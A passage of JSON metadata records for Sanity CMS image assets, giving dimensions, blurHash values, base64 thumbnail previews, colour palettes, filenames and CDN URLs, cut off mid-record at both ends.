sO1Tp1tpeYFDWE8+FRxjjA+VOUj1FiYjQoUXgBswh1CHULd71CXgdoteyL2QuwH4VDAZCZ3IqGNhGXWYjKjQTCAAhdCB0AVgTCCTUU/wb6MMx/gIVuYAlAEVC85UPa+Lz3Xxhdpb44JzjDmaruL/JTA+cgZlW4qggfnJaOZUNHtGraUFbQvdg/9i2sqSGEudpDgaaysjQCNJDTO3zOMBkx7Er2OCNkFHDDWgsRgmgAlTMWDSv3YAMgRFOTJlhN+Fp46Z9KDKjjlepehsZ+ob31qlWuhXPZnbCT+VSaHOHKaFTlKUYzcq2170nftwqbH+sPjq0srtO6tTmfqPpbI3srA1PPtzYqX2qy2ss4w6QidMauts4Zvm0YCZsvD6bvbKl/GTc+cvLF17t519vdE8O10cGs9fnitv7IGMkn7a9uVoRFBXn+/h9BA+PS7zk4VafiQ7cXp++OLy6GIl97bQPPds88T9/NX5cqEBR1/Vi40zn5cWYOk6fLzByx8qzvbL0vu7ufSTzTffW1u5KnmwXB1dLM+sNnY82XfujacNUBsBPnV3mFcVPGBKtRip+M096gUKiTC7nthqQzNEhp0/4/kbwzBrZNMPmxgAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#567483","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#b55c04","foreground":"#fff","population":0.06,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#f58c12","foreground":"#000","population":8.03,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#babdc2","foreground":"#000","population":0.82,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ecb46c","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#649470","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f58c12","foreground":"#000","population":8.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"87a47a70c848b12a2cb75755221e78f69746e17e-966x596.png","path":"images/sczeoy4w/production/87a47a70c848b12a2cb75755221e78f69746e17e-966x596.png","sha1hash":"87a47a70c848b12a2cb75755221e78f69746e17e","size":10474,"uploadId":"rQjBbMfb4bOSEIZgJBLFCNXsaLW5dUEd","url":"https://cdn.sanity.io/images/sczeoy4w/production/87a47a70c848b12a2cb75755221e78f69746e17e-966x596.png"} {"_createdAt":"2022-06-30T19:59:19Z","_id":"image-92d39aa4d15564c6eaff1211c42cc904df76cb33-803x702-png","_rev":"cEPH2uRN58AU2lp9QO7x97","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:37Z","assetId":"92d39aa4d15564c6eaff1211c42cc904df76cb33","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"e45=6T_4aeITWAt8s;ofofayogj[ayogt7ofj]ofj]ayt7ofayWAWB","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1438746438746439,"height":702,"width":803},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAARCAYAAADdRIy+AAAACXBIWXMAAAsTAAALEwEAmpwYAAACNklEQVQ4jY2T63bpUBSFvYig7lSISERScidRxLVarWo55/0fYZ6xVgbDMZT+WCN7//ky95pzJqLnA8ajvwiCPTxvB9fdwfe/0O9/892y3qFpS4jiGOVygFJxgGKxj2zWRSplIpnsQRDM0ySc7it63Tc8Pb1C11+g62s+03Q6L5CkiEH5vI9czkMu6zEsk7EZkLwEas0pWvIMsjxDsznlabVmPI3GBNVKiGJxgEKhz8CHB4dhqZR1Hagrc7TVBQMIJssEnJ/uUmPCKuv1CYOPMHruVaChLtDRVlCU+UkhqSUwnUmlKI5QrQ5Z4VHZcZKXQKUxQUdb8v5o+e32Epq24lGVBat7fBzyDglGgPMRLqAJsRJA76xg2R/o9TY8rvsJ39vBNN+htcnhEau7pih5qbCYdSC3IvTMDQyDnF5zdMJgz1ByulwKkE7//9SfJpHLWAx03C0s6yMGOp8YhgeE4QHd7hvn7qcnCpfAfMZCS5nC83ewj0CXgH847Ia+5sj8Rp0QA21I0hiGsT453e1uuCW0T3KZsneu8JbKRDnvo14fQ27N+FurjTgy5DDB6LmcvRtGCOdAsRJyXEjNsWrUWw61FPEPKDbU4XTahnADJhCwVPCgtuewnS33NwaOoKoLjg2ZEkdnfHr6HZdtNOU4NqQwrlvE58FgD8fZ8gpKJVIYB/tubJryBKa5gd55YSWVSsh99vwvBlKvaZfHpvwCGHFsKC5kBLWi0Yj4TkNRqtWeeYf3gP8Ag7wmvGN+IVEAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#323d50","foreground":"#fff","population":0.21,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0f0425","foreground":"#fff","population":0.07,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#323d50","foreground":"#fff","population":0.21,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d6b6d1","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#dadbf2","foreground":"#000","population":0.13,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#94748c","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#5d18e6","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"92d39aa4d15564c6eaff1211c42cc904df76cb33-803x702.png","path":"images/sczeoy4w/production/92d39aa4d15564c6eaff1211c42cc904df76cb33-803x702.png","sha1hash":"92d39aa4d15564c6eaff1211c42cc904df76cb33","size":145385,"uploadId":"Tfizh8VT8b40BQNeFnBq2THrkDTbICI7","url":"https://cdn.sanity.io/images/sczeoy4w/production/92d39aa4d15564c6eaff1211c42cc904df76cb33-803x702.png"} {"_createdAt":"2022-06-30T19:57:20Z","_id":"image-b2c23223d4516c0ec8d7fe9250bea3132f01c0fd-400x275-png","_rev":"cEPH2uRN58AU2lp9QO7igb","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:17:58Z","assetId":"b2c23223d4516c0ec8d7fe9250bea3132f01c0fd","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"ViL}HUNG00RkD%~qj[M{ofRjD%ay-;j[xut7j[t7f7of","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.4545454545454546,"height":275,"width":400},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAOCAYAAAAvxDzwAAAACXBIWXMAAAsTAAALEwEAmpwYAAACyUlEQVQ4jY3S60tTcRzH8fMPBD2o8EGUJEIEEkFkhJlJluSNtHVRIy9k0MWgnlRubjvDLM+WdKEg85GTwBZZRA/EUZ1tIFlQ6rxUplte5yZetrOds7PvJ86UWTbCBy++8Hvw/l34MV0fu6nr8yfq/vIFX51O+vb9O0ZGRjA6Ohrjdrvgdrvx69cqbjdcLhf9/DmMocFBcjqdxNzg7tJ17i7pHz6Cuf01dXV3o6enJ6a3txd9fX3o7+/HwIBiIDaVdZ7nyWKxwNzSQmZzCzFpxWXYoyrB0apL9PhZG4Z+DGNiYgJjY2PROTU1BY/Hg5mZGXi93hifz4fx8XFYrVaYTCbSarUwGAxgdhacoOQjBZR+phLNL9rJ45uFEAxBCAYhiiLC4TAikcg/iAiBgACHw0ENDQ2oqakhnU5HTEq+CkmH85FWUolmSzumvbMIhkRIUvzQn0FBEGB3OLAchF6vB7MjT4XErDzsK65A0/OXmPR4ERCCECUJciQCWZb/EZZlRJZPaLevCm7PVWHLoXzsLa7EEyU444VfECCEQghJ4biCohTdcGFhAXa7HRzHrQSTjx7H5sxcpJ6uQJPlFXxz85BkGWJYhiRH4gqJEkKLi5j3eODg+b+D27ILkZCRg12qs7jf2oaJaU/0bfx+P/yBQFwLc/OYn5zE9PAw3nd2RoNqtXopuDW7CBszcpGUexLntPWwvHkLm80GG88vzTj4Dx/Av3sHa0cHWs1m1NfXQ/k2rIEFs/nIcdpwMJ82ZhZg98lyunxTgwaOg9Fo/D+TCZzRqMRIOZnyZQwGAzEJWYVYfyAP6/bnUHLOCZRcqEaNWo1ajQaaNaitrVWQVq8HW1cHJjHnFCVkFdGmQ8eQcqyUyq9cg1anA8uy0TdZA9KzLNjbd+hW4z1i0ssuUmrpedpTUoXsqmq6qtGv7corSLm+8cFDanzylH4D6ARM7L6IIKAAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#476067","foreground":"#fff","population":0.65,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#19404c","foreground":"#fff","population":15.37,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#19404c","foreground":"#fff","population":15.37,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#aac5c9","foreground":"#000","population":0.44,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e89084","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6d8995","foreground":"#fff","population":0.04,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d75d64","foreground":"#fff","population":0.1,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"b2c23223d4516c0ec8d7fe9250bea3132f01c0fd-400x275.png","path":"images/sczeoy4w/production/b2c23223d4516c0ec8d7fe9250bea3132f01c0fd-400x275.png","sha1hash":"b2c23223d4516c0ec8d7fe9250bea3132f01c0fd","size":21139,"uploadId":"IHfjbhQwH3HFiLCTCVukQxWxNuiqFCXH","url":"https://cdn.sanity.io/images/sczeoy4w/production/b2c23223d4516c0ec8d7fe9250bea3132f01c0fd-400x275.png"} {"_createdAt":"2022-06-30T19:58:07Z","_id":"image-85ca961660f8cfc42729d55cc5c99e8695a00a84-400x242-png","_rev":"CK1sLU2mnwa3vmbYWEbmp3","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:19:30Z","assetId":"85ca961660f8cfc42729d55cc5c99e8695a00a84","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VfMHMsNG00R*9F~qj[IUofRj9Fjt-;j[xu%2j[ofaykC","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6528925619834711,"height":242,"width":400},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACDklEQVQokXXRz2vTYBgH8PwBOhgMBoqK4BAE8eSxG7WbMm0yoSioF6mItkxnnbrZJm9ahMlCJak3QXbx0nZ6ENda0w5GXIn11FPBSCmDrnFtXH8kzZu86UAyBXWjH748p+fLc3iwpXhyaflt/MOKIIqlUkmSJOl7X98kqVgsCp+FXC7H8zzmmQ54pgP+8LN36Uy5XK5Wq9XNTfl/NVmu1WqyLFcqlVw2y7Ess8jEOA47Q1w57fYQd+8lUx+36vV2p9NR1W5X7+p/o+tQh3YajUZ6JfV49tGD+zOAorCTk5dHLhCTt/3JdKauKKqmdXUITRMapm7HgIZhIMu0LGT1Wu12ls8G55/OBh7a5ePnp45N4BO3fIlUZktR7KMQGiYyEDKQtTuRaf0uW52OKgjC84WF+bk5kiSxo+PEkXHc5fUl0p9+NpsQQmgYCKGebeef2DRNE0UxGo0Gg8FQKIQddhGHXLjT60+k+WarZZqmiZDV6+3sh5DWan0RRZZlKYoCAGDDLmL4HOG46XvzPvWjXldVVdVs3T00TdveVjY28mtrHMfRNB0Oh7EhJz7kxM9e8zKvXgvr61/7KRQK+Xx+dXU5HmcY5k95cAwfHMNPTV2/8yT4gmVjL2N9cdzuhxcjkQgAgKZpbGDUPTDqHrl09YZ/JkSSAACqH7AXdtDhPuBwn7hol0mKoml6305fvwBQ2uq6jI6MCgAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#345c61","foreground":"#fff","population":0.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1a424d","foreground":"#fff","population":13.96,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":27.69,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#d4aeb0","foreground":"#000","population":0.1,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cc9494","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#7c7c7c","foreground":"#fff","population":27.69,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#da6670","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"85ca961660f8cfc42729d55cc5c99e8695a00a84-400x242.png","path":"images/sczeoy4w/production/85ca961660f8cfc42729d55cc5c99e8695a00a84-400x242.png","sha1hash":"85ca961660f8cfc42729d55cc5c99e8695a00a84","size":16844,"uploadId":"KA0JqSu75dBS2A9DXje6oQVR9a6Iw6Lh","url":"https://cdn.sanity.io/images/sczeoy4w/production/85ca961660f8cfc42729d55cc5c99e8695a00a84-400x242.png"} {"_createdAt":"2022-06-30T19:58:45Z","_id":"image-5e527828645e8b414de8ddb8bda9507011ccb710-1442x896-png","_rev":"CK1sLU2mnwa3vmbYWEc4DS","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:20:32Z","assetId":"5e527828645e8b414de8ddb8bda9507011ccb710","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"VM9@kwof%Nj[%Mxvj@f6j[fQ_NfQaej[aexujtf6fQay","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.609375,"height":896,"width":1442},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAYAAABiDJ37AAAACXBIWXMAAAsTAAALEwEAmpwYAAACI0lEQVQokZXRS08TURgG4PkR2JnpXM5lbi2IArWU3miLYkpISIxhwYakYLRIQ6FShEAURU3aiFFIjERdaKJL/Xvt4nyf6WlBKWLi4sl75svMO+fMKB+//xSv338WB4fHYr95JJ423v2X/caRfK5x/EmcfPshlGeNt7BYWoLi3CwUijOQmy5C/szM2frc/NYfprv33V1YhL2Xh6Cs1XchP1WAYNBD5nEknEnU4UgdR+bpjHCKhPVQirRDzjnGkxl8UN1Cpby+BZl8AfxoANRhYFMbCCNAOQXmMIkyKq8taoFhm5Jp9RALTNuG0fgELD1cB+X+2iakcwWIDg0hd13ovNXlDnLG0WEMeQehcm1aFqq6jqEe9UwYr43FsbRSReVepQaJVBaCIIK+50Pgep1EQihaptVlmDK1sIFXVA0HQuoFwyOxXuFqDWLxCXAIw4A7MBhE0PV81A0TQ6qGIU3vpqrJsssMj54WVmowFk8Atwn6jEPU85FxRx7jXwWXF67W4EYiCa7jgu+64DAOxLbBCBug6eFzVE2HkKrBQEi94OpIDErlavenjKey6Eei6AcRZJQhJVSmadkYNkwMm1aXYcrv2Nl9v+uxcVxe3UCl/uSVmJtfEJNTt0Umf1MkMzmRyuZFenJKJNI5EU9lz0tm+mTFeHpSzN6ZF4/2XgjlzcnX1s5Bs1Wp77ZXNrb7PG6X/6Iz/227Xdncbe88b7YPP3xp/QINGZZ4BCFPkQAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#44444c","foreground":"#fff","population":0.1,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#643e1d","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#44444c","foreground":"#fff","population":0.1,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4c4c4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f4d464","foreground":"#000","population":0.01,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4faf6c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#df9240","foreground":"#000","population":0.04,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5e527828645e8b414de8ddb8bda9507011ccb710-1442x896.png","path":"images/sczeoy4w/production/5e527828645e8b414de8ddb8bda9507011ccb710-1442x896.png","sha1hash":"5e527828645e8b414de8ddb8bda9507011ccb710","size":72723,"uploadId":"BNpXeGeKCuYUuKvuls1dDBDoVc95SZMB","url":"https://cdn.sanity.io/images/sczeoy4w/production/5e527828645e8b414de8ddb8bda9507011ccb710-1442x896.png"} {"_createdAt":"2022-06-30T11:56:59Z","_id":"image-657263f61b1afd7ecad62529f289fba6ff1272aa-443x400-png","_rev":"QRl2cGoCgj0FlAhkRrhwJE","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:31Z","assetId":"657263f61b1afd7ecad62529f289fba6ff1272aa","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"elJ44Ij[|HjZ]8$PjtWofQaz|HjsODj[N^wyfQW:jua{;hjZN^j[Sg","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.1075,"height":400,"width":443},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAASCAYAAABb0P4QAAAACXBIWXMAAAsTAAALEwEAmpwYAAADA0lEQVQ4jY2Uy28cRRCH97+xMz3d89x57MMkDkbZ9Xp3Zuexu961HRM7II4REkFIIC5w4WJxCycOcAEJzogDRyQEUgJIEUg8LkSxIkEeiAgwH+pZO4kign34pls11b+u6q6u2j9+xhEH/pADb8jfJ6Ty94cP1mtq+vOnN+SOl7LvptxwE37ROMdzw0m46abc9tJK40AL6p1+dVM+dxLecxOuBAPe9gfsWQl78oj0kEdtCXsq5YpK+cxOuOWm/OUNqd33Un62B7xjDdj2UwathOUopa0ylkROW2SPoW159a8lcjoi4y2Z8L3d576bUvvdTbhu9XjT7PO0k1OPxrjxOlZ9iuWsI+UI0ywRFQVCPMQwCgIj4xXR55rqcc8dULvrDPhGrfK6WKOtCrxwk/ipXRpnniNuX6AebuL6M1xvimNPsGSJEgXKyDFFQWRkvCzW+FKtctvpU7vjDLgmu7xm9GiIHMudEi3t0Fx5gebZ54nbOwSN8/jxFl4ww3HGWKpEmUUlGBoZLxlrfCG7/HYkePVQMDayKj3Pn9FY2qV9+iKN5jZBtEHQnBK2pwSNCV4wxrZLTPMkgqLAtcZE/oxWsEnDm1H3JtSjCUFrQj0e43ijKspjI2yIDCVHlaCnRnh6LkfYssSyyioqPUqzQIoTpNw0cyxrjC1H1QJp5BXmf6DtwjgS7D1BUBZY9gTbnqDUCKUPX5XzS5DlfJMH5MdH2LJKvGiLsPUsQXOberxBEE8JoymBt46vj8EscfXFHY5NkXP5iSmrEjfaItD1p2meJ2hsEEYbhP6M0JoQqjGhnBOoMUtmwWXxiOBRYb8hepw1M0JrRGSPCDTWiECVhKogkgWRmROLh0QiZ1kMeVX0+Ep254Wtn94PVo/3RZcXT3W5uNhhZ+EcF45B++wudrh0qsu7ost3apW7+unp5nDL7vO17PCpscLHi8t8uHCGDxZO/y/a56PFZT4xVrgqO+zba/yhm4NuOffchH27x0+yw3XzGb4VKydC+/4oz3HTmjcG3RP/BTas0w+UtdTgAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c54","foreground":"#fff","population":35.4,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#09233e","foreground":"#fff","population":0.22,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c54","foreground":"#fff","population":35.4,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b1b5d5","foreground":"#000","population":0.17,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e97062","foreground":"#fff","population":0.02,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#69a77d","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#f1314f","foreground":"#fff","population":33.37,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"657263f61b1afd7ecad62529f289fba6ff1272aa-443x400.png","path":"images/sczeoy4w/production/657263f61b1afd7ecad62529f289fba6ff1272aa-443x400.png","sha1hash":"657263f61b1afd7ecad62529f289fba6ff1272aa","size":43630,"uploadId":"BJHtuZKT6ds3uxJQUbsbcto7sRgVTIOh","url":"https://cdn.sanity.io/images/sczeoy4w/production/657263f61b1afd7ecad62529f289fba6ff1272aa-443x400.png"} {"_createdAt":"2022-06-30T19:59:21Z","_id":"image-426057b35131165e096230280a19b754cb5723b2-864x850-png","_rev":"CK1sLU2mnwa3vmbYWEcS7q","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:39Z","assetId":"426057b35131165e096230280a19b754cb5723b2","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"eRET4BkC|Ie:|Hspj[j@fPjs|HjZWqj[W;sofPf6j[fR[qjZW;j[W;","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.016470588235294,"height":850,"width":864},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAATCAYAAACQjC21AAAACXBIWXMAAAsTAAALEwEAmpwYAAAC60lEQVQ4jZWUz27cVBSH8zYl4/++vva1PX+SJplAaRJ74pmJ7clkmmTaLhqJsGNFF5XgCVh3X4lnACF1ARJILFiABOIREA/wge1JZjIpEl18Ovbmu79z7rE3/hYDfhUpb0XCt07CN3b63nxnp/zipPwlBmz84SS8FinX8pi5mzG3l1xaGZdmxoVxzIX+bs71Y57rA74yU35zEjZ+sg74zBnQUyVBNEWFJSoqCVSJLwuEm+MYIywtu4etZZhaht/K+ERP+N46YOMH8zGfWgPa0Yxw5ynx7jnRwxlh7wy/fYrrF5jmCF0boreGTb2hNUTThritjBdawlvz8UJoNsJo9zntvafEOxdEWzNUZ4IXnGBZIwxtiNHKMLS76NoQ0cq40o5WhSmRf4rfm6O25qjuBUF7hh+WCH8p1GvhcPncWgrvJjRSlCgQ4QwZzfDCGV4wxRV5I9MbSZOqanchviM8WhNWw5cThKxSlbiyxHGrdGMsc4RpLMW3Sf9TaA7qlmX8hCA+w4+nyGiKF54iggmuLHDcvJH+P2FKrM5QD58Rbc8JOk/w1BTXn+B6JY4osJ2l8Kb11Ut5sT7DUE7wO5cE7XO84LROVLXbtLpgke6GOmHrZm1WEl4bCUrkeOEUWbXo5ThijO1Usxs2s3sH5qIKPeNKX0l4rSeE3glBZ4JqF/jhCTLK6x103DG2PbrFqrCaWr87I6Q15MpYF4oRaqsk3i4IuwWqWxK0SzxVIPwGVzbJq0Mcd3mANO8Jj1C1sCDeKQl7lbBA9SYE3Ql+u0GGRZ26wpVj7MWOCm3tUiphlTDcLun0J0TbBVGvIOxVKQv8KEeqHCFPcMUY12tSWmbzTd9bm6rlwBnhxTlBt8CP85pqjsKvBKO6RdNcuxht9eewEP5sHfBKP+RQT9k3Uz40m3qLkdDXE/pawl4rYXdzyd6ifrx5xOfaIT9Wwj/tA77WH/Hl5j4vH/R5+WDvPenzxQf7vNE+4vd//4f/AOhhvw9xtf9pAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c54","foreground":"#fff","population":41.88,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a47008","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#2c2c54","foreground":"#fff","population":41.88,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b59eb5","foreground":"#000","population":0.01,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e2a347","foreground":"#000","population":0.01,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#545494","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#ee314d","foreground":"#fff","population":18.38,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"426057b35131165e096230280a19b754cb5723b2-864x850.png","path":"images/sczeoy4w/production/426057b35131165e096230280a19b754cb5723b2-864x850.png","sha1hash":"426057b35131165e096230280a19b754cb5723b2","size":149336,"uploadId":"SiHXI6WOFm3a6mfdzYwSaULpU4B8CZlT","url":"https://cdn.sanity.io/images/sczeoy4w/production/426057b35131165e096230280a19b754cb5723b2-864x850.png"} {"_createdAt":"2022-06-30T19:59:24Z","_id":"image-5537ff51910b19c712788618052be002fb1b2f12-3100x1898-png","_rev":"cEPH2uRN58AU2lp9QO7xZR","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:22:45Z","assetId":"5537ff51910b19c712788618052be002fb1b2f12","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V8P?]$_N~pWE~p00Rk%LkD%L03IVt5t8xZ0iWCxtflt6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.6332982086406744,"height":1898,"width":3100},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAMCAIAAADtbgqsAAAACXBIWXMAAAsTAAALEwEAmpwYAAACJUlEQVQokVWQ22vUQBSH90/cB/XRB19kRaSgLyI+KBa0WIQqrVXaglRaL7toy1qwN2y3pd26be1lLyaZJJNMMpO5JJvdJN0uBclki/o9DDOc8zG/c3I4iOd24b0PR4U3lQczP16VDx99rRemq7cn1p7Nb734dnp3/ujmZOX+1PrY4kFamtm7Nb42uViDJMi5fjSzCW5Mbl99Wr4zVh4tVYdma/mR5WtPSg+nVoaLB9cntvPDi4XRhZFPO0OzP/Mjy1ceF5/PbegOz4XxWVXB79brrxf2Pq/ubxxqpR11vLz/dmFnaet4uaZNfz9+Wdx+v7S7Um183GyMfamOFyuru3Xuh7ler8dEoFuOokMDIkw82/U009YMaCHHQk5LM04aSvO3qgK9qWi/Tlsn9ZZloyiKUzlstxljVCKE4JxT6nke8TyCCbZt2zRN00gPXdc1TdMBwBjHsZQ7nY7v+0L4wk/hXFBKiQRjDE0IADAMA5qmYRiqqgEACCZ/5exDzrkQgjGGMXadFNu2NVVtNpqKogAA5L3RajYdhAZyFEVhGLYlYRgGQeALwRmjaW6MELIkCCFk29CEFrQopUmSpHK3200FSRAEbfnIIniSLH8ax3Vdx8EuFkIM5CAICCFpwXUppYxST3YT2W1ZlpGh61lyAIDrulEc587Pz7OFZQNnEQYL4JwxRgiR4w9WYEFoW5exLy4u+v1+73/OJMk/xJLokiRJ+v3+H+OXam86aA6OAAAAAElFTkSuQmCC","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#104588","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0c3365","foreground":"#fff","population":0.03,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#257bc1","foreground":"#fff","population":1.7,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#9cc4d4","foreground":"#000","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#a7dffb","foreground":"#000","population":0.05,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#56799a","foreground":"#fff","population":0.18,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#257bc1","foreground":"#fff","population":1.7,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"5537ff51910b19c712788618052be002fb1b2f12-3100x1898.png","path":"images/sczeoy4w/production/5537ff51910b19c712788618052be002fb1b2f12-3100x1898.png","sha1hash":"5537ff51910b19c712788618052be002fb1b2f12","size":248675,"uploadId":"5hGYRn0KAJNYhZKuw1lBLkQaUxlYZc3C","url":"https://cdn.sanity.io/images/sczeoy4w/production/5537ff51910b19c712788618052be002fb1b2f12-3100x1898.png"} {"_createdAt":"2022-06-30T20:00:41Z","_id":"image-55106470588bfc6b8229ac62eca8418f89a4d5d5-700x550-png","_rev":"CK1sLU2mnwa3vmbYWEdAYH","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:25:50Z","assetId":"55106470588bfc6b8229ac62eca8418f89a4d5d5","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"V5QTGwbb4:~XM}009GoLE1jb00?aozoMWC00E1-pRk-p","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.2727272727272727,"height":550,"width":700},"hasAlpha":true,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAQCAYAAAAWGF8bAAAACXBIWXMAAAsTAAALEwEAmpwYAAACf0lEQVQ4jY2T2U4UQRSG+yXFSy/0ghAfArwxaoLyBiYYo5HFG5HEGAWRJSIgS3Qyw/RM79W19D4DTE9+c6p7hCEavPhy+pxU/XW2Nu49eYPJ2UVMzi5opp4t4f7cMqaeLuHOw1e4PfMCt6bnMTEzj4npa1Csjt99/BoPnq/CWFz7gbdfDvHu6xFWt0/